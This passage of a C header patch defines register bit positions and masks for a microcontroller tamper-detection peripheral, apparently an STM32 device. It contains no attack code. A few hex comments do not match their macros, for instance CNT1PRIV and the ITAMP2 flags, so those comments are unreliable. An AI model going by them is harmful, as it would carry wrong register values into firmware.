TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << 